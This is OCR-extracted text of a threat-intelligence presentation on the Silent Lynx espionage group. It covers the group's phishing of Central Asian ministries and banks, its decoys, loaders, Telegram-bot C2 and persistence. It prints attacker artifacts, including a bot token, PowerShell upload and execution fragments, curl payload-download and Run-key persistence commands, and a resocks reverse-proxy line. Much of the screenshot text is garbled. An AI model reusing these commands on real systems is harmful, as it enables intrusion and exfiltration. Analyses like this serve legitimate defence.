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Meet Silent Lynx

SPECA Campaign Employee Campaign
= Active in Dec 2024 = Active in Jan 2025
" Targets— National Bank of Kyrgyz Rep. " Targets — Ministry of Finance Kyrgyz
Rep.

" Sectors

= Government Banks and Think-Tanks " Sectors

" Government Banks

= Arsenal

= C++ Loader, PowerShell " Arsenal
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Meet Silent Lynx

Railways Campaign Embassy Campaign
" Active in Nov 2024 " Active in Jan 2025
" Targets — Uzbek Government and Railway. " Targets — Ministry of Finance Kyrgyz
Rep.
" Sectors
= Railways and Government " Sectors
= Embassy and Government.
" Arsenal
= C++ Loader, PowerShell " Arsenal
" Te|egram Bots as C2 = C++ Loader, PowerShell.

= Telegram Bots as C2
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S Timeline

EMEA and APAC Govt. YoroTrooper (Cisco Talos) Linked to Kazakhstan Silent Lynx
 Credential Harvesting (Cyjax) * Govt & Energy in CIS & EU  Credential Harvesting Sites « ISO, C++, PS, Golang
» Belarus, Ukraine, Uzbekistan » Stink stealer, Warzone RAT, * Infrastructure in Azerbaijan » Telegram Bots

Loda RAT — LNK and VHDX * Target: Tajikistan, Kyrgyzstan » Kyrgyzstan, Turkmenistan,
 Belarus, Russia and Azerbaijan Uzbekistan

* Primarily MFA targeted

SturgeonPhisher UZBEKHYDROENERGO Retooling

 Targets Central Asia (ESET) * Tajikistan and Uzbekistan * Py-Chrome Credential Stealer

* Phishing mimics Webmail * Primarily HTA * Py to PS and Telegram APlIs

» Warzone RAT, RustyRAT, Stink « Custom Python Stealer & * Custom Golang & Rust
stealer, reverse shell reverse shell, Meterpreter reverse-shells
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Infection Chain
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Campaign-1 : Phishing Email

From:

Cyntananues HypaaH IpKUHOBMY

Sent:

To:

Subject:
Attachments:

Fri, 27 Dec 2024 17:47:12 +0600
beranuesa Maapum bakreibexkosHa
FW: nn cosewanma!

Importance:

Nobpbiii sBevep
nonyuun s, cnacubo!

C yBaxeHmneMm,
Cyrranamues Hypian

= rar
High \ Attached malicious RAR

T~ | TA uses compromized email

of an employee of NBKR

compressed file with the email.

IIMaspum, nposepbTe noXxanyiucra ato coobuexue! B murdun otnpasmunm, a

Otaen puUHAHCOBOI CTATHCTHKH

Ynpasienne GHHAHCOBOI CTATHCTHKHN B 0030pa
rein.: +996 312 66 90 45

e-mail: nsultanaliev@nbkr kg

Good evening! :!.aeerim, please check this message! It was sent to the Ministry of Finance, and

| received it, thanks!

Sincerely,

Sultanaliev from Nur

Financial Statistics Department

Office of Financial Statistics and Review
tel.: +996 312 66 90 45

Email: nsultanaliev@nbkr.kg
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Campaign-1 : Decoy

N

United Nations iﬁ} Nations Unies

Economic and Social Commission for Asia and the Pacific

rererence: OES/B/9/2024-00178

Nineteenth session of the SPECA Working Group on Trade
Samarkand, Uzbekistan, 3 April 2024

The secretariat of the Economic and Social Commission for Asia and the Pacific (ESCAP)
presents 1ts compliments to the States members of the United Nations Special Programme for the
Economies of Central Asia (SPECA) and has the honour to invite their representatives to the nineteenth
session of the SPECA Working Group on Trade, organized in collaboration with the Economic
Commission for Europe. The session will be held in Samarkand, Uzbekistan on 3 April 2024.

The nineteenth session of the Working Group on Trade will follow the Eleventh Asia-Pacific
Trade Facilitation Forum, to be held on the theme “Leveraging Digitalization for Sustainable Supply
Chains” from | to 5 April 2024, A separate invitation to participate in person in the Eleventh Forum has
been sent to the relevant trade facilitation focal points of member States (see enclosure). The nineteenth
session of the Working Group on Trade will be held in a hybrid format to accommodate those who are
unable to attend in person. Additional details are available at https://unescap.org/events/2024/nineteenth-
session-speca-working-group-trade.

Please find enclosed the tentative programme of work and a registration form for the nineteenth
session of the Working Group on Trade, for transmittal to those agencies of SPECA member States
responsible for cooperation on trade policy and facilitation. Representatives are kindly requested to submit
completed registration forms for up to three participants per State by 1 March 2024 to Mr. Alexey
Kravchenko, Economic Affairs Officer, Trade Policy and Facilitation Division, by email
kravchenkoa(@un.org, with a copy to tuntiwigit@un.org.

The secretariat avails itself of this opportunity to renew to the States members of the United
Nations Special Programme for the Economies of Central Asia the assurances of its highest consideration.

13 February 2024
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Campaign-2 : Phishing Email

From: Cynrananues HypaaH IpKMHOBUY \ TA uses exect same

Sent: Fri, 10 Jan 2025 08:56:14 +0600 compromized email of an

To: beranuena Maspum baxreibexonna employee of NBKR similar to the
Subject: FW: Npuka3a Ne950-2-M] 0 npemupoBaHmum first campaign. ‘
Attachments: Npukas Ne950-2-M o npemuposanmm.rar

\[ Attached malicious RAR file. |

Maapum, pobpoe yrpo! CHOBA COMHUTENLHOTO XapakTepa coobwenne NPUWANo.

| Meerim, good morning! Another message of a dubious nature has arrived.

C ysawenmem, Hypaau
Best regards, Nurdan

From: Ky6anbiy Kanarosuu. Kaubibekos <k.kachybekov@sf.kg>

Sent: TthSdav, Januarv 9' 2025 622 PM From: Hl.lbbl'l'j’ﬁh Kanatowich. K,uchybehuv <k.kach j’bﬂ‘kﬂ\f@!ﬂ.kgl-
Sent: Thursday, January 9, 2025 6:22 PM

To: minfin@minfin.kg

Subject: Fwd: Order No. 950-2-GD on bonuses

To: minfin@minfin.kg
Subject: Fwd: Npuka3s Ne950-2-TA1 0 npemuposBanHmm

!
Yeaxaemsbie Konneru! Dear Colleagues!
Hanpasnsio npukas o npeMupoBaHum COTPYAMUKOB, NO YKa3aHUIo pyKoBOACTBA.
O3HaKOMUTLCA B CPOYHOM NOPRAKE.

OKYMEHT COAEPXKUT NUYHYIO UH Mauuio, NOITOMY OTNPAaBNAID C
naponem: DSv qan

| am sending an order to reward employees, as instructed by management.
Please review urgently.
The document contains nersonal information. so | am sendina it with

1

C Yeaxennem, password.
Kauybibekos Kybambiv KanaTtosuy
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] Campaign-2 : Decoy

MiHHCTepCTBO prancon Kuprsickoi Pecnybam 1. Bemuary npemuii npoH3BecTH 3a cYeT CpejCTR, MpejycMOTPeHHBIX Ha
OMNIaTy TPy/Aa B paMKax yTeepiKaeHHoro 6rogxera MUHHCTepCTEA.
[pmxas 2. KoHTpo/ib 3a HCMo/IHeHHeM HacTOoALLero NpHKasa BoanokuTs Ha [PHO

OTBeTCTBeHHOI0 /HLa], [40/mKHOCTS).

08 muBapn 2025 roga Ne950-2- r.buukex 3. HacTosupmii npuKa3s BCTyNaeT B CWIY € MOMEHTA ero MoAnHcaHHs.

B uennx noouipesna corpyaumuxos Munmcrepersa dusancos Kuipresnoxoft MHUHHCTP pUHAHCOB

Pecrry Gt 3a MX npode COMOHATLHLGT BI1A], J00POCOBECTHOR BLINO/THEeHIe (nodnucs) bakeraes A.K.

cay#etHbIX obfsanHocTel 1 JOCTIOKEHI® BLICOKHX peTy LTaTos B paboTe,

IMPHKAIBIBAKO:

Ministry of Finance of the Kyrgyz Republic
1. Bonuses shall be paid from funds allocated for wages within the approved budget

of the Ministry.

Order
2. Supervision over the execution of this order shall be assigned to [full name of
responsible person], [position),
January 08, 2025 P No. 950-2-DP Bashkak city ) ) o
3. This order shall enter into force from the moment of its signing.
In order to reward employees of the Ministry of Finance of the Kyrgyz Republic Minister of Finance
for their professional contribution, conscientious performance of official duties and {signat ure) Baketaev ALK,
achievement of high results in work,

| ORDER:
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Campaign-2 : Decoy

| Give bonuses to the following employees:

|

Job title

Premium amount
(COM)

Chief spocialist of the budget

department 100 000
Li.!i!dll'lg accountant of the 80 000
finance department
Economist 120 000
sl

Head of Planning 15 0000
Departmaent
Skl of e s deparbmeril

90 000
Deputy Chief

140 000

réparting department

| Ne Full name of the employee
IlpemMHpoBaThL C1eAYOIHX COTPYAHHKOB:

MO corpyaumxa onAHOCTS Paeep maiis

(com)
Acanos AcaH CnapHeiii cneymammcT 100 000
Tumurbexosy oraena GlopxeTa
Yeenopa Afrym Beayugit Oyxranrep 80 000
KymagsinosHa oT3ena PHHAHCOB
Kacwivos Hypnan

120 000
¥ Mypoexoniy FKOHOMIET
Cyntanoe bakerr HavameHHuK oT3e0a 15 0000
SPreiuosiny MIAHHP OBAHHA
Aiitbaesa Maspim Chneunanict oraena 90 000
TokTocyHoeHa aHam3a
Hovannop Tananrtex JamMecTHTeNb HAYATBHHKA 140 000
KaHbi0eK 0BHY OTJE/1a OTHETHOCTH

Asaminga Mvmiana




] Campaign-3 : Decoy

Rofocms «eloted Uzbok Natwonal
Rabways Transpodt tE mblom
System

O'ZBEKISTON RESPUBLIKASI PREZIDENTINING
QARORI

‘ 2023 yit« 10 » oxTabpa ~Il-329

O mepax no xopexnHomy pedopmuposanmo chepol
WMENEIHOAOPOMHOIO TPAHCNOPTa Pecnybankm Yabexucran

B uenax pedopmuposanns CHepbl KMENEIHOAOPOMHOIO TPAHCNOPTA,
CO3A3HMA 3Q0POBOH KOMKYPEHMTHOR Cpeabl, WHMPOKOro NPMBAGYEHHA
8 OTPACAL NACTHOTO CeKTOPa, undposnsaumn OHIHEC-NPOUECCOs, BHEAPEHNA
COBPEMEHHBIX METOA0B YNPABAEeHHA, 3 TaKe 3QDEKTHEHOIO HCNONLIOBAHMA
TPAHIMTHOIO NOTeHUMana pecnybankm:

1. Onpepennre NPHOPHTETHLIMM 3apavamm NO3TanKoro
pedopMMPOBaHNA CHEePL! WENEeIHOAOPOMMOID TPAHCNOPTA:

NPUBNEYEHHE YACTHLIX MHBECTHUMA 8 NEPEeBO3OYHLIA NPOUESCC nyTem
$OpPMHPOBIHUA KOHKYPEHUNM " CORAHMA NPUBAEKATENLHON
HHBECTHUMONHON CPEAB HA PHIHKE YCAYT MEeNeIHOAOPOMHOIO TPAHCNOPTa;

ycxopewne pabor  no tpancdopmaumm m umdposMIayMK
wenesnopopoxmon  chepel, obecneuenwe, xavectsa, De3lonacHocTw,
YCTORNMBOCTH, HAAENHOCTH M BecnepeboRNOCTH NPOUECCI OKIZAHMA YCAYT,

yrpennenmne duHancosoro NONOMEHNA MENCIHOAOPOMHBIX
NPEANPUATHA, CHMWEeHMe CcebecToumMOoCTM M 3aTPar Ha naccammpixne
M rPY30BLIE NEPEBO3IKK, CO3AINME NOAOTYETHOR W CTHMYAMPYIOWER cpeast
Anna obecnevenna onepaunonnon 3GHEKTHBHOCTH;

obecneuenne cyGvextam npeanpuMumarenscTsa npasa csobogmoro
800pa ONEPIATOPOB BArOHOB, NPEAOCTIBARIOWMX YCAYTH MENCIHOAOPOMHBIX
Nepeso3ok;
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Campaign-1: ISO

* File 20241228 140656.iso contains decoy PDF and EXE

- l_g:l:-% 001 78rv Note Verbale SPECA WG 2 }
4 * ! ad \
| 08" Xeson_Scan17510875502718752175 |
o u j Properties x
LS & ) | Generd Achive Secuty Detals Previous Versors
4]
—

- N — | Y.{nd‘k[ WnRAR archyve (90) ]
B This PC | Openswith [ WeRAR l Charge |
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Sy C++ Loader

* Base64 encoded blob

ﬁ Detect It Easy v3,09 [Windows 10 Version 2009] (x86_64) - O x
File name
> 3 Werox_Scan17510875802718752175. exe
File type File size Base address Entry point | Advanced
PE&4 v 117,50 KiB 0000000140000000 0000000140002068 >
Demangle
File info Memory map Disasm Hex Strings Signatures VirusTotal
MIME Visualization Search Hash Entropy Extractor YARA
FE Export Impoart Resources NET TLS Qverlay Mo
Sections Time date stamp Size of image Resources and
e
0006 > 2024-12-11 21:55:08 00023000 Manifest Version mo
mov
Scan Endianness Mode Architecture Type Mo
Automatic 2 LE &4-bit AMDE4 GUI
mow
~ PEBGA
Operation system: Windows(Vista)[AMDE4, 64-bit, GUI] s 7 oV
Linker: Microsoft Linker(14,26.33811) O call
Compiler: Microsoft Visual C/C++(19.36.33811)[LTCG/C++] S ? Moy
Language: C/C++ S 1 .
Tool: Visual Studio(2022 version 17.6) 5 7 S Ll
Mo
Options
Signatures | |V Recursive scan || Deep scan Heuristic scan || Verbose About
Scan -
Directory Log All types > 574 msec Exit
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S Triggering PowerShell

e Loader uses CreateProcess AP

MmWor d_'l-'-1- 331 C

Dt -
Furad 5
Claan Fraomm
Ik Frm e, |
LI HALEY |
Fulk
[ £ I
Emeni EL: = |
Corsrar ke o wl Mof ol e -Levpd oa®okop Sypss o "L BISDRE e AR AT T AN g R0

FE B Bt B F LA L L R S A T e L T, LA b ! SN LR FTT S T PR Taw R L AL TS T ]

o ey e 7 T LT LT e Ak g AR T
g R g e A 8 S B R EghdiiaHag) Y
[ T e S L D e P Apai ek AEElAb g s dp g aLILT gagRlad
R Zoch B CRR T ety T CLN el AR T B 0 A AT PR A A g Bk TS e L8 o DAL DR L |
B e B et n e e B R e S g E T e Bt kel B s e m T B e i e T ek |

T
Lrvbonwies

| Ol igaigined Copw 84
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Sy Base64 to PS1

* Telegram Bot Token

* Two interesting functions
o Invoke-BotCmd
o Invoke-BotDownload

$Token = "7898508392: AAFSFPbI1j1PQfqCIGNX-ZNdW2R5tF_Xxte"
$URL = "htt Jram. ar" -t $Token
$lastiD = 123

$sleepTime = 2
$identifier = -join ((48..57) | Get-Random -Count 5 | % {

* Bot Commands
o Invoke-Expression and Invoke-WebRequest
o Telegram’s 4095-character limit s

SURI

Invoke-WebRequest
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S PowerShell — BotDownload

* Upload files to Telegram chat

e getUpdates AP| =
o /sleep
cmd
C) / Add-type -A emblyName System. Net.Http
o /download S i) dane

$httpClientHandlier New-Dbhject System. Net Http. Httpl

BotDownload |

S$FilePath

shttpClient New-Object System. Net Http, Htt

b ')-’:."»n »

. Name - $FieldName

jler.FlleName « (Split-Path $FilePath

ent .Headers.ContentDisposition

$f
$F
$
$

&
$f
$f

ent .Headers.ContentType ‘ Get

$MultipartContent

$MultipartContent Add($Fils

.:nu'.PuuY&n)un $UR
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Campaign-2

* RAR archive contains Golang executable

q Mpwukas N2950-2-IT1 o npemuposanum.rar (evaluation copy)
File Commands Options Help

B & OO e

Add Extract To Test View Delete Find

Tools Favorites

\\®

Wizard Info

T Mpukas N2950-2-IT1 o npemuposanmn.rar - RAR archive, unpacked size 3,146,4

Name Size Packed Type Modified

| Mpwkas N2950-2...
8- Mpunoxenune ...

16,637
3,129,856

13,856 Office Open XML ...
1,654,160 Application

1/8/2025 4:02 ..
1/9/2025 3:26 .,

File nas==
> EE EE N e s Tpeas N2950-2-1T1 o npemposarim Mpunookerve N2 14-214-14-12-5-15doox.exe
File type File size Base address Entry point
PEG4 = 2.98 MiB 0000000000400000 00000000004 71340
File info Memory map Disasm Hex Strings Signatures VirusTotal
MIME Visualization Search Hash Entropy Extractor YARA
PE Export Import Resources MET TLS Overlay
Sections Time date stamp Size of mage Resources
ooof > 1969-12-31 16:00:00 0034000 Manifest Version
Scan Endianness Mode Architecture Type
Automatic - &4-bit AMDG4 GLUI
* PEB4
Operation system: Windows(7)[AMD&4, 64-bit, GUI] S
Compiler: Go(1.13.0-X.XX.X) 5 ?
Language: go 5
Signatures v Recursive scan |V Deep scan Heuristic scan v Verbose
Scan
Directory Log All types = 1152 msec

v Adv

Derr

Sho
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] Golang Reverse-Shell

* Connects to C2

, aCmdExewindowsr
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Campaign-3

* RAR archive contains C++ executable & decoy

ﬂ 6631602.rar (evaluation copy)

File Commands Tocls Faverites Options Help
Add Extract To Test View Delete Find Wizard Info Virusscan Comment  Protect

T m 6631602.rar\ 6631602 - RAR archive, unpacked size 2,870,241 bytes

Mame Size Packed Type Maedified CRC32
1 - File folder
(5 6631602.pdf___ ... 119,808 51,136 Application 11/6/2024 11:3...  B3141854

2,751,033 2473030 Microsoft Edge PDL. 11/2/2024 3:44 .. 456AA0AA

[EH 6631604 py.pdf

55 Selected 1 file, 119,808 bytes Total 2 files, 2,870,841 bytes

T

Detect It Easy w310 [Windows 10 Version 2009] (x26_64) —

File name
1= lomn Pl mmesreEs Beesn i e B = o 66316024663 1602, pdf
File type File size Base address Entry point
PEB4 v 117.00 KiB 0000000140000000 0000000140002068 =)
D Fieinfe | EBIMemory map | [EDisasm Hex Strings Signatures | | > | VirusTotal
s MIME = Visualization £ Search # Hash 9{6 Entropy | | Extractor 1 vara
Ore Export ||£]lmport || Resources | € NET | |[{i:TLS || Overlay
Sections Time date stamp Size of image Resources
0006 =) 2024-11-06 23:32:31 00022000 EManifest Version
Scan Endianness Mode Architecture Type
Automatic v LE fd-bit AMDe4 Gul
= PEG&4
Operation systern: Windows(Vista)[AMDg4, &4-bit, GUI] 5 7
Linker: Microsoft Linker(14.36.33811) 5 ¥
Compiler: Microsoft Visual C/C++(19.36.33811)[LTCG/C++] 5 ¥
Language: C++ 5 ?
Tool: Visual Studio(2022, v17.6) 5 ¥
Signatures | | Flags * | | Database b
Scan
Directory Log » 1254 msec
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Campaign-4

* Malicious C++ Implant

@ Detect It Easy +3.10 [Windows 10 Version 2009] (x86_64) — O >
File name
= Il Letter from the Permanent Rept of Turkemenistan
File type File size Base address Entry point | Advanced
PEG4 - 117.30 KiB 0000000140000000 0000000140002068 =]

<I» Demangle
 Fileinfo = Memory map L= Disasm | | EEI Hex [2 Strings Signatures | | > | VirusTotal

's MIME ] Visualization £ Search # Hash *X" Entropy | | Extractor I YARA

Ore Export | |%|lmport || =" Resources NET | |{0TLs | |E Overlay
Sections Time date stamp Size of image Rescurces
0006 o 2024-12-11 2318:54 00023000 ElgManifest Version
Scan Endianness Maode Architecture Type
Automatic b LE 64-bit AMDE4 Gul
* PE64 -~
Operation systern: Windows(Vista)[AMD&4, 64-bit, GUI] 7

Linker: Microsoft Linker(14.36.33811)
Compiler: Microsoft Visual C/C++(19.36.33811)[LTCG/C++]
Language: C++

=B Shortcuts

LA LA LA LA
e el med

Tool: Visual Studic(2022, v17.6) 4 'E'Options
Signatures Flags = | | Database > O About
Scan -
Directory Log = 210 msec X Exit

nAdleriherl
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] Infrastructure & Hunting

[74513]
john-pc\john
* Telegram Bot -
o whoami /emd whoami
o ipconfig Bot Info 1

e south korea

/cmnd whoami

T
[47031]
win-n781hp3npkfluser

&
[47031]
win-n781hp3npkfluser

Ll
[27048]
win-n781hp3npkfiuser

w
[27048]
win-n781hp3npkfiuser

Notifications

SEND MESSAGE

/cmd ipconifg

/cmd ipconfig
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Establish Persistence

cmd /c curl -o c:\users\public\gservice.exe

* “Onepaumua ycnewHo 3aBepieHa”
o “The operation was successfully completed”

REG ADD
HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v
WinUpTask /t REG_SZ /d c:\users\public\gservice.exe /f

r 1 1 H 1 L .
cmd /c curl -o c\users\public\newservice.exe

[27048]
om/14 e Onepauua ycnewHo 3asepLueHa.

7048 REG query
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio
n\Run
OneDrive REG_SZ "C:
ers\user\AppData\Local\Microsoft\OneDrive\OneDrive.exe"

MicrosoftEdgeAutoLaunch_8714F0D917266FE3AFB7F8BBISEEBCT
8 REG_SZ "C\Program Files (x86)
\Microsoft\Edge\Application\msedge.exe" —-no-startup-window --
win-session-start

CTFMON.EXE REG_SZ c¢md /c start C:
\Users\user\AppData\Local\Temp\dllhost.exe C:
\Users\user\AppData\Local\Temp\~58967505.js

UpdateSoft REG_SZ c\users\public\newservice.exe

WinUpTask REG_SZ c\users\public\gservice.exe
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"Plan of the Turkmen Embassy in the Kyrgyz Republic”

L Bot Info
/27048 cmd /c dir C\users\user\Desktop

[27048] . e south_africa

Tom B ycTpoicTee C umeet Metky Windows 11
CepuiAHblil HoMep Toma: 72DD-6B6F

Copepxuvmoe nanku Clusers\user\Desktop

17.12.2024 18:05 <DIR>

13.12.2024 1835 <DIR>

16.12.2024 18:19 262714 004.jpg Al B
16122024 17-22 30 208 01 xls )
25.10.2024 13:54 26 191 2023 Turkmenistanyn Gyrgyz
Respublikasyndaky licihanasynyn meyilnamasy.docx

SEND MESSAGE

/12345 cmd /c curl -o Clusers\public\music\rev.rar /69012 c:\users\public\pictures\resocks.exe 65 443 --key
https://drive.google.com/file/d/1 g3 "Y1z FFijgsel Digpmii-a-Sabag e i s -] o hiRVC"

vie ISp=drive_lInk
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Attribution

Affiliations Kazakhstan Kazakhstan
Active since 2022 Campaigns in Dec-2024 and Jan-2025
Goals Espionage, data theft to support state objectives Espionage, data theft
Victimology European governing entities and focus on CIS Central Asian Govt: Kyrgyzstan, Turkmenistan
Notable TTPs e+ Social engineering * Social engineering

e Spear-phishing e Spear-phishing

e Data exfiltration * Data exfiltration

e Custom and commodity malware e Custom malware
Arsenal e Python, PowerShell, LNK-HTA-VHDX * |SO, C++ Loader, PowerShell

* Golang Reverse Shell, Meterpreter * Golang Reverse Shell, resocks

e Telegram Bots e Telegram Bots

* Warzone RAT, LodaRAT, Stink stealer
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Recent Findings

* Renewed activity in June 2025

Uzbokistan

* QOver 35 Government victims
* Linked to YoroTrooper & Silent Lynx
* Chinese & Russian speaking operators V Turkmenistan

* New Infrastructure and Toolkit
o Public Exploits
o Penetration-Testing Tools
o Web Panels

Pakistan
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